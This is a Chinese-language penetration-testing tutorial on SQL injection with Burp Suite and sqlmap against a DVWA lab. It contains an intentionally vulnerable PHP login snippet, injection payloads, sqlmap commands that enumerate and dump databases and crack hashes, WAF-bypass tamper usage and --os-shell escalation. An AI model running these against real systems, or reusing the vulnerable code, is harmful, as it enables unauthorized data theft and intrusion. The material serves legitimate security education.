sqlmap 自动化注入与 Burp Suite 抓包改包

模块 2 Web 应用渗透 · 进阶篇 · sqlmap 1.10.9 + Burp Suite 2026.8
📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透(攻击技术阶段)
23 sqlmap 注入与 Burp 抓包(当前篇)
24 XSS 跨站脚本攻击(预告)
模块 3-5 共 XX 篇,后续持续更新
读完本篇你将能:理解 SQL 注入的核心原理与分类,掌握 Burp Suite 代理配置与抓包改包,使用 sqlmap 自动化检测和利用 GET/POST/Cookie 注入,枚举数据库、表、字段并提取数据,以及运用 tamper 脚本绕过基础 WAF。
📑 本文目录
01SQL 注入原理与分类
02Burp Suite 基础与代理配置
03sqlmap 基础:GET 注入检测
04sqlmap 进阶:数据库枚举与数据提取
05Burp + sqlmap 联合作战
06注入绕过与 tamper 脚本
07道德与法律边界
一、SQL 注入原理与分类

模块 1 我们学会了"找漏洞"——用扫描器发现目标可能存在的弱点。从本篇开始进入模块 2,我们学习"验证并利用漏洞"。SQL 注入是 Web 安全中最经典、危害最大的漏洞类型之一,也是 OWASP Top 10 的常客。

1.1 什么是 SQL 注入

SQL 注入的本质是:用户输入被直接拼接到 SQL 语句中,导致攻击者可以篡改 SQL 逻辑。就像一道自动门,本应只刷工牌才开,但如果有人把"工牌 + 开门指令"写在同一张纸上,门就会把指令也当成工牌的一部分执行。

来看一个最典型的 PHP 登录场景:

login.php(存在注入漏洞)
1
2
3
4
5
6
7
8
9
// 用户输入直接拼接到 SQL 中
$username = $_GET['username'];
$password = $_GET['password'];
 
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
 
// 正常输入:admin / 123456 → SQL 正常执行
// 恶意输入:admin' OR '1'='1 / 任意 → SQL 逻辑被篡改
// 结果:SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='xxx'

当攻击者输入 admin' OR '1'='1 时,单引号闭合了原 SQL 中的字符串,后面的 OR '1'='1 成为了新的 SQL 条件。由于 '1'='1 恒成立,查询会返回所有用户,攻击者直接绕过登录。

1.2 SQL 注入五大类型

根据返回结果的可见性和利用方式,SQL 注入分为以下五类,难度和利用成本依次递增:

类型 原理 回显可见性 利用难度
联合查询注入 UNION SELECT 拼接额外查询结果 页面直接显示数据 ⭐ 最低
报错注入 构造错误语句,从报错信息中提取数据 错误信息可见 ⭐⭐ 低
布尔盲注 页面无回显,通过真假条件判断数据 无直接回显 ⭐⭐⭐ 中
时间盲注 用 SLEEP() 等函数根据响应时间判断数据 完全无回显 ⭐⭐⭐⭐ 高
堆叠查询注入 分号分隔多条 SQL 语句,可执行增删改 视场景而定 ⭐⭐⭐⭐⭐ 最高
💡 小贴士
sqlmap 之所以强大,在于它能自动检测并适应这五种注入类型。你不需要先判断是哪种注入——把 URL 丢给 sqlmap,它会自动尝试所有 payload,从最容易的联合查询开始,一路试到时间盲注。这也是为什么手工注入需要学原理,但实战中 sqlmap 是效率首选。

1.3 注入点的四种位置

SQL 注入不只出现在 URL 参数中,凡是用户可控的数据进入了 SQL 查询,都可能成为注入点:

• GET 参数:URL 中的 ?id=1,最常见也最容易检测
• POST 参数:表单提交的数据,如登录框、搜索框,需要抓包获取
• Cookie:站点用 Cookie 存储用户信息并查询数据库时,Cookie 值也可能被注入
• HTTP Header:User-Agent、Referer、X-Forwarded-For 等头部,如果后端记录日志时拼接到 SQL,也会成为注入点

这也是为什么 sqlmap 支持 -u(GET)、--data(POST)、--cookie(Cookie)、-p(指定参数)等多种参数——覆盖了所有可能的注入位置。

二、Burp Suite 基础与代理配置

在讲 sqlmap 之前,必须先掌握 Burp Suite——它是 Web 渗透测试的"瑞士军刀",也是 sqlmap 的最佳搭档。Burp Suite 能拦截、查看、修改浏览器发出的每一个 HTTP 请求,是所有 Web 安全测试的基础工具。

2.1 Burp Suite 简介与版本

Burp Suite 是英国 PortSwigger 公司开发的 Web 应用安全测试平台,当前最新稳定版本为 2026.8。它的核心定位是"中间人代理"——浏览器的所有流量经过 Burp 中转,你可以在中途拦截、修改、重放任何请求。

模块 功能 Community Professional
Proxy 拦截 HTTP/HTTPS 请求 ✅ 完整 ✅ 完整
Repeater 手动重放修改请求 ✅ 完整 ✅ 完整
Intruder 自动化爆破(密码、目录等) ⚠️ 限速 ✅ 完整
Scanner 主动/被动漏洞扫描 ❌ 无 ✅ 完整
Decoder 编码/解码(Base64、URL等) ✅ 完整 ✅ 完整

Kali Linux 预装了 Burp Suite Community Edition。学习阶段 Community 版足够用,Proxy + Repeater + Decoder 都是完整功能。

2.2 启动与代理配置

Burp Suite 的核心工作模式是"中间人代理",需要三步配置:启动 Burp → 浏览器设置代理 → 安装 CA 证书(用于 HTTPS)。

1 启动 Burp Suite:Kali 菜单搜索 Burp,选择 Temporary project → Use Burp defaults → 启动
2 确认代理监听:Proxy 选项卡 → Proxy settings → 默认监听 127.0.0.1:8080,确保 Running 状态
3 浏览器设置代理:Firefox 设置 → 网络设置 → 手动代理配置 → HTTP 代理 127.0.0.1,端口 8080,勾选"也用于 HTTPS"
4 安装 CA 证书:浏览器访问 http://burp → 下载 CA Certificate → Firefox 证书管理器 → 导入并信任
⚠️ 常见错误
不装 CA 证书就访问 HTTPS 网站 — 浏览器会报证书错误,无法正常访问 HTTPS 页面。Burp 作为中间人,需要用自己的证书重新加密流量,必须安装并信任它的 CA
✓ 正确:在浏览器中导入 Burp 的 CA 证书(通常名为 PortSwigger CA),并勾选"信任此 CA 以识别网站"。这样 Burp 就能透明地解密所有 HTTPS 流量

2.3 Proxy 拦截与 Repeater 重放

配置好代理后,Burp 的两个核心功能马上就能用上:

Proxy Intercept(拦截模式):当 Intercept is on 时,浏览器发出的每个请求都会被 Burp 暂停,等待你操作:

• Forward:放行当前请求,继续下一个
• Drop:丢弃当前请求,浏览器会收到连接失败
• Send to Repeater:将请求发送到 Repeater 模块,用于后续手动修改重放
• Action → Copy to file:将请求保存为文本文件,可直接给 sqlmap 使用

Repeater(重放器):手动修改请求参数、Header、Body,点击 Send 即可重放并查看响应。这是手工测试注入点的核心功能——你可以逐字修改参数,观察页面响应变化来判断是否存在注入。

💡 小贴士
新手常犯的习惯是一直开着 Intercept,结果每个请求都要手动放行,效率极低。正确用法是:平时 Intercept off,让流量直接通过(但 Burp 会在 HTTP history 中记录所有请求);发现可疑请求时,再从 HTTP history 中右键 Send to Repeater 进行分析。拦截模式只在需要精确控制某个请求时才开启。
三、sqlmap 基础:GET 注入检测

sqlmap 是开源的 SQL 注入自动化工具,由 Bernardo Damele 和 Miroslav Stampar 开发维护,当前最新稳定版为 1.10.9(2026 年 9 月发布)。它能自动检测注入点、判断注入类型、枚举数据库结构、提取数据甚至直接获取服务器权限。

3.1 最简单的注入检测

sqlmap 的最基本用法就是给它一个带参数的 URL,它会自动检测参数是否存在 SQL 注入。以 DVWA 的 SQL Injection 页面为例:

Bash
sqlmap -u "http://192.168.1.100/vulnerabilities/sqli/?id=1&Submit=Submit"

这条命令会触发 sqlmap 的自动检测流程:

• 自动识别 URL 中的所有参数(id、Submit)
• 对每个参数依次测试:布尔盲注 → 报错注入 → 时间盲注 → 联合查询注入
• 检测到注入后报告参数名、注入类型、数据库类型、payload 示例

检测成功时,你会看到类似这样的关键输出(已简化):

sqlmap 输出(简化)
[*] starting @ 10:23:45 /2026-09-15/
[10:23:46] [INFO] testing connection to the target URL
[10:23:47] [INFO] checking if the target is protected by WAF/IPS
[10:23:48] [INFO] target URL appears to be dynamic
[10:23:52] [WARNING] reflective value(s) found and filtering out
[10:23:55] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0 boolean-based blind' injectable
[10:23:57] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0 UNION query' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N]
 
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 7423=7423-- -&Submit=Submit
 
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=-8128' UNION ALL SELECT NULL,CONCAT(0x71,0x71)-- -&Submit=Submit
---

3.2 常用参数速查

sqlmap 参数超过 100 个,但日常使用高频的只有十几个。以下是最核心的参数:

参数 作用 示例
-u 指定目标 URL(GET 参数) -u "http://x.com/?id=1"
--data POST 参数 --data "user=a&pass=b"
-p 指定要测试的参数(跳过自动检测) -p id,username
--cookie 设置 Cookie(登录态必备) --cookie "PHPSESSID=abc"
--batch 自动回答所有询问(默认选项) --batch
--level 检测等级 1-5(默认 1,越高越全面) --level 3
--risk 风险等级 1-3(默认 1,越高越可能破坏数据) --risk 2
--dbs 枚举所有数据库名 --dbs
-D 指定数据库 -D dvwa
--tables 枚举指定数据库的表 -D dvwa --tables
--dump 导出指定表的全部数据 -D dvwa -T users --dump
⚠️ 常见错误
URL 中 & 符号不加引号 — 在 Bash 中 & 是后台运行符号,sqlmap -u http://x.com/?a=1&b=2 会被拆成两个命令
✓ 正确:始终用双引号包裹 URL:sqlmap -u "http://x.com/?a=1&b=2",确保 & 被当作普通字符
💡 小贴士
刚开始学 sqlmap 时,强烈建议加上 --batch 参数。它会自动用默认选项回答所有 sqlmap 的提问(如"检测到注入是否继续测试其他参数"、"是否测试其他类型"),避免你一路回车。等熟悉了交互流程后再去掉 --batch,逐步了解每个选项的含义。
四、sqlmap 进阶:数据库枚举与数据提取

检测到注入只是第一步——sqlmap 的真正威力在于"拖库":从数据库名 → 表名 → 字段名 → 数据内容,一步步把整个数据库扒出来。这是一个标准的四级枚举流程。

4.1 四级枚举流程

① 数据库名
--dbs
→
② 表名
-D xxx --tables
→
③ 字段名
-D xxx -T yyy --columns
→
④ 数据内容
-D xxx -T yyy --dump

以下是在 DVWA 靶机上执行完整枚举流程的命令序列:

完整枚举流程(DVWA low 级别)
1
2
3
4
5
6
7
8
9
10
11
# 第1步:枚举所有数据库
sqlmap -u "http://192.168.1.100/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie "PHPSESSID=abc123; security=low" --dbs --batch
 
# 第2步:枚举 dvwa 数据库中的所有表
sqlmap -u "http://192.168.1.100/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie "PHPSESSID=abc123; security=low" -D dvwa --tables --batch
 
# 第3步:导出 users 表的全部数据
sqlmap -u "http://192.168.1.100/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie "PHPSESSID=abc123; security=low" -D dvwa -T users --dump --batch

最终 --dump 的输出会包含完整的表数据,sqlmap 还会自动尝试破解其中的哈希密码:

users 表 dump 结果(简化)
Database: dvwa
Table: users
[5 entries]
+----+---------+------------+-----------+-------------------------------+
| id | user   | first_name | last_name | password                    |
+----+---------+------------+-----------+-------------------------------+
| 1  | admin   | admin     | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 2  | gordonb | Gordon    | Brown     | e99a18c428cb38d5f260853678922e03 |
| 3  | 1337    | Hack      | Me        | 8d353345a7648c7d7bac2d69d9a9e689 |
| 4  | pablo   | Pablo     | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| 5  | smithy   | Bob       | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----+---------+------------+-----------+-------------------------------+
 
[*] running dictionary-based attack on 5 hash(es) ...
password hash: 5f4dcc3b5aa765d61d8327deb882cf99
clear-text:  password

4.2 POST 注入与 Cookie 注入

GET 注入最简单,但真实场景中更多的是 POST 表单注入和 Cookie 注入。sqlmap 同样支持:

POST 注入

使用 --data 参数指定 POST Body 数据,格式与 URL 查询字符串相同(key=value&key2=value2):

Bash - POST 注入
sqlmap -u "http://192.168.1.100/login.php" \
  --data "username=admin&password=123456&login=submit" \
  -p username,password --batch

Cookie 注入

有些网站用 Cookie 存储用户偏好或 ID,并在后端查询数据库。用 --cookie 设置 Cookie,同时用 -p 指定测试 Cookie 中的哪个参数:

Bash - Cookie 注入
sqlmap -u "http://192.168.1.100/profile.php" \
  --cookie "uid=1; PHPSESSID=abc123" \
  -p uid --level 2 --batch
💡 小贴士
Cookie 和 Header 注入需要 --level 2 或更高才会测试。默认 level 1 只测 GET 和 POST 参数,level 2 增加 Cookie,level 3 增加 User-Agent 和 Referer,level 5 是最全的。需要更全面检测时提高 level,但请求数会大幅增加。

4.3 系统信息与权限提升

除了枚举数据,sqlmap 还能提取数据库系统信息,甚至直接获取服务器权限。以下是常用的信息收集参数:

• --current-user:当前数据库用户名
• --current-db:当前使用的数据库名
• --is-dba:当前用户是否是数据库管理员(DBA)
• --hostname:数据库服务器主机名
• --sql-shell:打开一个交互式 SQL Shell,可直接执行 SQL 语句
• --os-shell:如果数据库是 DBA 权限,尝试获取操作系统的交互式 Shell(MySQL 需要 secure_file_priv 配置允许)
五、Burp + sqlmap 联合作战

简单的 GET 请求可以直接用 -u 加 --data 搞定,但真实场景中请求往往很复杂——带 Token、带 CSRF、带加密参数、带几十个 Header。手动拼 sqlmap 参数效率太低,正确姿势是 Burp 抓包 → 保存请求文件 → sqlmap 用 -r 加载。

5.1 请求文件法(最常用)

这是实战中最高效的方式——Burp 抓到请求后直接复制保存,sqlmap 从文件中读取完整请求,包括所有 Header、Cookie、Body:

1 Burp 中找到目标请求(Proxy HTTP history 或 Repeater 中),右键 → Copy to file → 保存为 request.txt
2 sqlmap 使用 -r 参数加载请求文件,自动解析 URL、方法、Header、Body
3 用 -p 指定要测试的参数名,sqlmap 会自动定位到对应位置注入

以下是一个典型的请求文件内容和对应的 sqlmap 命令:

request.txt(Burp 导出的原始请求)
1
2
3
4
5
6
7
8
9
POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0)
Accept: text/html,application/xhtml+xml
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123def456; security=low
Content-Length: 18
 
id=1&Submit=Submit
Bash
sqlmap -r request.txt -p id --dbs --batch

-r 参数的优势在于:完全保留原始请求的所有细节——Token、Referer、User-Agent、自定义 Header 全部原样发送,不会因为手动输入参数而遗漏或出错。

5.2 代理中转法

另一种联动方式是让 sqlmap 的流量经过 Burp 代理,这样你可以在 Burp 中实时看到 sqlmap 发送的每一个 payload,方便调试:

Bash - 流量经 Burp 代理
sqlmap -u "http://192.168.1.100/?id=1" \
  --proxy "http://127.0.0.1:8080" --batch

开启后,sqlmap 所有 HTTP 请求都会走 Burp 的 8080 代理,你可以在 Burp 的 HTTP history 中看到每一个 payload 的发送和响应。这对于理解 sqlmap 的工作原理、调试复杂场景非常有帮助。

💡 小贴士
日常检测用 -r 请求文件 最快,调试和学习原理时用 --proxy 看流量。两者不冲突——你可以同时用 -r request.txt --proxy http://127.0.0.1:8080,既加载完整请求,又让流量经过 Burp 可见。
六、注入绕过与 tamper 脚本

现实中的网站或多或少有一些防护——输入过滤、WAF、安全狗。sqlmap 内置了大量 tamper 脚本(绕过脚本),用于修改 payload 以绕过检测。当前版本 sqlmap 内置了 60+ 个 tamper 脚本。

6.1 常用 tamper 脚本

脚本名 作用 适用场景
space2comment 空格替换为 /**/ 过滤空格的 WAF
space2plus 空格替换为 + URL 编码过滤空格
apostrophemask 单引号替换为 UTF-8 宽字符 %EF%BC%87 过滤单引号的场景
base64encode 整个 payload Base64 编码 后端会 Base64 解码参数
charencode 全部字符 URL 编码 基于关键字的简单 WAF
randomcase SQL 关键字随机大小写 大小写敏感的关键字过滤
between 用 BETWEEN 替换 > 和 < 过滤比较运算符
unionalltounion UNION ALL SELECT → UNION SELECT 过滤 UNION ALL 的场景

6.2 使用方式与绕过思路

使用 --tamper 参数指定脚本,多个脚本用逗号分隔:

Bash
# 使用单个 tamper 脚本
sqlmap -u "http://target.com/?id=1" --tamper space2comment --batch
 
# 组合使用多个 tamper 脚本
sqlmap -u "http://target.com/?id=1" \
  --tamper space2comment,randomcase,charencode --batch
 
# 查看所有可用 tamper 脚本列表
sqlmap --list-tampers
⚠️ 常见错误
一上来就堆十几个 tamper 脚本 — tamper 越多速度越慢,而且多个脚本可能互相干扰。有些脚本的编码结果会被另一个脚本再次编码,导致 payload 失效
✓ 正确:从 0 个开始 → 检测失败 → 加 1-2 个最可能有效的 → 再失败 → 再加。先判断 WAF 拦截了什么(关键字?空格?引号?),再针对性地选 tamper,比乱加效率高得多
七、道德与法律边界

sqlmap 是一把双刃剑——合法授权测试中它是效率倍增器,未授权使用则是犯罪工具。SQL 注入直接操作数据库,一旦越界造成的损失远比扫描严重。

7.1 法律风险

与扫描工具不同,SQL 注入利用直接读取甚至修改数据库数据,法律性质完全不同:

行为 法律性质 可能涉及条款
授权范围内注入检测 合法 渗透测试合同
未授权读取数据 刑事犯罪 刑法第285条非法获取计算机信息系统数据罪
修改/删除数据 刑事犯罪 刑法第286条破坏计算机信息系统罪
拖库后出售/传播数据 刑事犯罪(加重) 刑法第253条之一侵犯公民个人信息罪

7.2 安全练习环境

本篇所有练习都必须在以下授权环境中完成,禁止对任何公网未授权目标使用 sqlmap:

• DVWA:SQL Injection(low/medium/high/impossible 四个级别),适合从易到难练习注入和绕过
• PortSwigger Web Academy:官方免费的 SQL 注入实验室,包含联合查询、盲注、二阶注入等全部类型,系统化学习最佳
• Vulhub:SQL 注入专项漏洞环境,如 ThinkPHP 注入、Shiro 反序列化等真实场景
• CTF 平台:攻防世界、Bugku、CTFHub 的 Web 注入题,实战演练注入技巧
💡 小贴士
使用 sqlmap 时注意 --risk 参数:默认 risk 1 只执行只读查询,risk 2 会测试 UPDATE 等可能修改数据的 payload,risk 3 包含可能删除数据的 payload。在授权测试中也要谨慎使用高 risk——即使得到授权,意外删除生产数据也是严重事故。
分级练习

以下练习均在 DVWA 靶机上完成,请先部署 DVWA 并设置 security = low。

Level 1:基础 — sqlmap 检测与枚举

• 用 Docker 部署 DVWA:docker run -d -p 8080:80 vulnerable/web-dvwa
• 浏览器登录后设置 security = low,获取 PHPSESSID Cookie
• 用 sqlmap 检测 SQL Injection 页面的 id 参数,确认注入类型
• 枚举 dvwa 数据库的所有表,并导出 users 表的全部数据

Level 2:进阶 — Burp 联动与 medium 级别绕过

• 将 DVWA security 设为 medium,Burp 抓取 SQL Injection 的 POST 请求并保存为 request.txt
• 用 sqlmap -r request.txt -p id --dbs 检测注入(medium 级别有简单过滤)
• 如果默认检测失败,尝试 1-2 个合适的 tamper 脚本绕过过滤
• 使用 --proxy 参数让 sqlmap 流量经过 Burp,观察至少 3 个 payload

Level 3:挑战 — high 级别盲注与提权尝试

• 将 DVWA security 设为 high,用 Burp 分析请求流程(high 级别是二次注入/跳转)
• 用 sqlmap 的 --second-url 或 --second-req 处理二阶注入
• 使用 --sql-shell 获取交互式 SQL 命令行,执行 3 条自定义查询
• 如果是 MySQL 且为 DBA 权限,尝试 --os-shell 看能否获取系统 Shell(DVWA 环境可能受限)
🏷 知识回顾
SQL注入五大类型 联合查询注入 布尔盲注 时间盲注 Burp Suite 2026.8 Proxy 代理配置 Repeater 重放 sqlmap 1.10.9 四级枚举流程 --dbs --tables --dump -r 请求文件 --proxy 流量中转 tamper 绕过脚本 POST/Cookie 注入 --os-shell 提权
下篇预告
24 XSS 跨站脚本攻击:反射型、存储型与 DOM 型
SQL 注入之后,Web 安全第二大经典漏洞是 XSS——攻击者将脚本注入页面,在用户浏览器中执行。下一篇将系统学习三种 XSS 类型的原理、检测方法和利用场景,以及如何用 XSS 窃取 Cookie、钓鱼欺骗。